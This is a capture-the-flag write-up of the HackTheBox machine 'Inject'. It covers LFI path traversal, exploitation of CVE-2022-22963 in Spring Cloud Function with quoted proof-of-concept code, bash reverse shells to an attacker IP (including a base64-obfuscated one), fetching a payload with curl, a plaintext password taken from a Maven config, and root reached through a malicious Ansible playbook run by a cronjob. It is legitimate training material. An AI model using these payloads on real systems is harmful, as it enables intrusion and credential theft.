HTB - Inject
Overview
Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to Local File Inclusion (LFI).
Initial foothold:
By exploiting the LFI vulnerability, files on the system can be enumerated, revealing that the web application uses a specific version of the Spring-Cloud-Function-Web
module susceptible to CVE-2022-22963
. Exploiting this vulnerability grants an initial foothold as the frank
user.
Lateral movement:
Lateral movement is achieved by further file enumeration, which discloses a plaintext password for phil
.
Privilege escalation:
A cronjob running on the machine can then be exploited to execute a malicious Ansible
playbook, ultimately obtaining a reverse shell as the root
user.
Information gathering
IppSec’s video walkthrough.
Port scanning:
1
2
3
4
5
6
sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.204
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Tech used:
1
2
$ whatweb http://10.10.11.204:8080/
http://10.10.11.204:8080/ [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube
Browser:
Initial foothold
Directory fuzzing:
Fuzzing for
/indexFUZZ
did not return anything.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.204:8080/FUZZ -ac -c -recursion -recursion-depth 1 -e .aspx,.html,.php,.txt,.jsp -ic -v
[Status: 200, Size: 5654, Words: 1053, Lines: 104, Duration: 29ms]
| URL | http://10.10.11.204:8080/register
* FUZZ: register
[Status: 200, Size: 5371, Words: 1861, Lines: 113, Duration: 116ms]
| URL | http://10.10.11.204:8080/blogs
* FUZZ: blogs
[Status: 200, Size: 1857, Words: 513, Lines: 54, Duration: 72ms]
| URL | http://10.10.11.204:8080/upload
* FUZZ: upload
[Status: 500, Size: 712, Words: 27, Lines: 1, Duration: 316ms]
| URL | http://10.10.11.204:8080/environment
* FUZZ: environment
[Status: 500, Size: 106, Words: 3, Lines: 1, Duration: 205ms]
| URL | http://10.10.11.204:8080/error
* FUZZ: error
[Status: 200, Size: 1086, Words: 137, Lines: 34, Duration: 118ms]
| URL | http://10.10.11.204:8080/release_notes
* FUZZ: release_notes
Sub-domain and Vhost fuzzing did not return anything.
Try to upload a revshell (revshell.sh
):
/release_notes
directory:
Uploading an image gives us an Uploaded! View your Image
message and the path of the uploaded image: http://10.10.11.204:8080/show_image?img=logo.jpg
:
Test for LFI:
1
2
3
4
5
6
7
8
$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://10.10.11.204:8080/show_image?img=FUZZ' -ac -c
...snip...
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 228, Words: 23, Lines: 10, Duration: 39ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 30ms]
../../../../../../../dev [Status: 200, Size: 4020, Words: 1, Lines: 1, Duration: 42ms]
/../../../../../../../../../../etc/shadow [Status: 200, Size: 1345, Words: 1, Lines: 1, Duration: 33ms]
...snip...
Manually check the above findings:
Two users along with root
:
frank
phil
Since Tomcat is a Java web application server, we can get directory listing with LFI:
The pom.xml
contains a listing of all the libs that JavaScript uses:
Snyk Extension to scan via VS Code –> critical vuln CVE-2022-22963
There is a PoC available, but we will just get the info from there and exploit it manually:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def scan(txt,cmd):
payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
data ='test'
headers = {
'spring.cloud.function.routing-expression':payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = '/functionRouter'
f = open(txt)
urllist=f.readlines()
for url in urllist :
url = url.strip('\n')
all = url + path
try:
req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
Things to note:
- Passing the payload through a specific header:
'spring.cloud.function.routing-expression':payload
- The path to send our request to:
path = '/functionRouter'
- The method of the request:
req=requests.post
Make sure to have a two line break at the end!
1
2
3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.204 - - [08/Feb/2024 18:13:10] "GET / HTTP/1.1" 200 -
Although the above check worked, sending a reverse shell does not work:
1
2
3
"/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1"
# or
"bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1'"
Copy the payload to a file and serve it through an HTTP server:
1
2
3
4
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1" > index.html
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Open a listener on another tab:
1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
Save the payload to the target’s tmp
directory:
1
/usr/bin/curl 10.10.14.4:8000 -o /tmp/shell
1
2
3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.204 - - [08/Feb/2024 18:27:56] "GET / HTTP/1.1" 200 -
Execute the payload:
1
bash /tmp/shell
1
2
3
4
5
6
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 39350
bash: cannot set terminal process group (819): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$
Lateral Movement
Stabilize the shell:
1
2
3
4
5
6
7
8
9
10
frank@inject:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
frank@inject:/$ ^Z
[1]+ Stopped nc -lvnp 1337
┌──(kali㉿CSpanias)-[~]
└─$ stty raw -echo; fg
nc -lvnp 1337
frank@inject:/$ export TERM=xterm
Check for files in frank
’s directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
frank@inject:/$ find ~/ -type f 2>/dev/null
/home/frank/.bashrc
/home/frank/.m2/settings.xml
/home/frank/.cache/motd.legal-displayed
/home/frank/.profile
frank@inject:/$ cat ~/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Credentials: phil:DocPhillovestoInject123
.
1
2
3
4
frank@inject:/$ su phil
Password:
phil@inject:/$ cat home/phil/user.txt
...snip...
Privilege Escalation
Checks for sudo permissions, user files, and SUIDs did not return anything of interest.
Check groups:
1
2
3
4
5
6
7
8
9
phil@inject:/$ groups
phil staff
phil@inject:/$ find / -group staff -writable 2>/dev/null
/opt/automation/tasks
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/share/fonts
Use pspy
:
1
2
3
4
5
$ ls -l pspy64
-rwxr-xr-x 1 kali kali 3104768 Jan 22 08:24 pspy64
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Download pspy
from target:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
phil@inject:/$ cd /dev/shm
phil@inject:/dev/shm$ wget http://10.10.14.4:8000/pspy64
--2024-02-08 18:51:53-- http://10.10.14.4:8000/pspy64
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 3.67MB/s in 0.8s
2024-02-08 18:51:53 (3.67 MB/s) - ‘pspy64’ saved [3104768/3104768]
phil@inject:/dev/shm$ chmod +x pspy64
phil@inject:/dev/shm$ ./pspy64
...snip...
2024/02/08 18:52:17 CMD: UID=0 PID=1 | /sbin/init auto automatic-ubiquity noprompt
2024/02/08 18:54:01 CMD: UID=0 PID=8452 | /bin/sh -c /usr/bin/rm -rf /var/www/WebApp/src/main/uploads/*
2024/02/08 18:54:01 CMD: UID=0 PID=8451 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2024/02/08 18:54:01 CMD: UID=0 PID=8450 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2024/02/08 18:54:01 CMD: UID=0 PID=8449 | /usr/sbin/CRON -f
...snip...
This job is executing every .yml
file (*.yml
) within /opt/automation/tasks/
, so we can create our .yml
payload since we have write access to the directory (w
):
1
2
3
4
5
6
7
8
9
10
11
phil@inject:/opt/automation$ cd /opt/automation/tasks
phil@inject:/opt/automation/tasks$ ls -ld
drwxrwxr-x 2 root staff 4096 Feb 8 18:56 .
phil@inject:/opt/automation/tasks$ cp playbook_1.yml shell.yml
phil@inject:/opt/automation/tasks$ nano shell.yml
phil@inject:/opt/automation/tasks$ cat shell.yml
- hosts: localhost
tasks:
- name: Checking webapp service
shell:
cmd: bash -c 'bash -i >& /dev/tcp/10.10.14.4/9000 0>&1'
Open a listener and wait (the job runs every 2 minutes):
1
2
3
4
5
6
7
8
$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 59482
bash: cannot set terminal process group (9063): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# cat /root/root.txt
cat /root/root.txt
...snip...
The cronjob we exploited:
1
2
3
4
5
6
7
root@inject:/opt/automation/tasks# crontab -l
crontab -l
...snip...
# m h dom mon dow comma
*/2 * * * * /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
...snip...
Extra - Removing Bad Characters
Based on IppSec’s video walkthrough.
Getting initial foothold without dropping a file on the target:
1
2
3
4
5
6
7
8
9
10
$ cat index.html
/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1
# encoding payload
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1" | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxCg==
# removing bad characters, i.e., '=='
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1 " | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK
Test the payload:
1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
1
$ echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK' | base64 -d | bash
1
2
3
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.14.4] 49422
Use the payload:
1
"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK}|{base64,-d}|{bash,-i}"
1
2
3
4
5
6
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 48636
bash: cannot set terminal process group (819): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$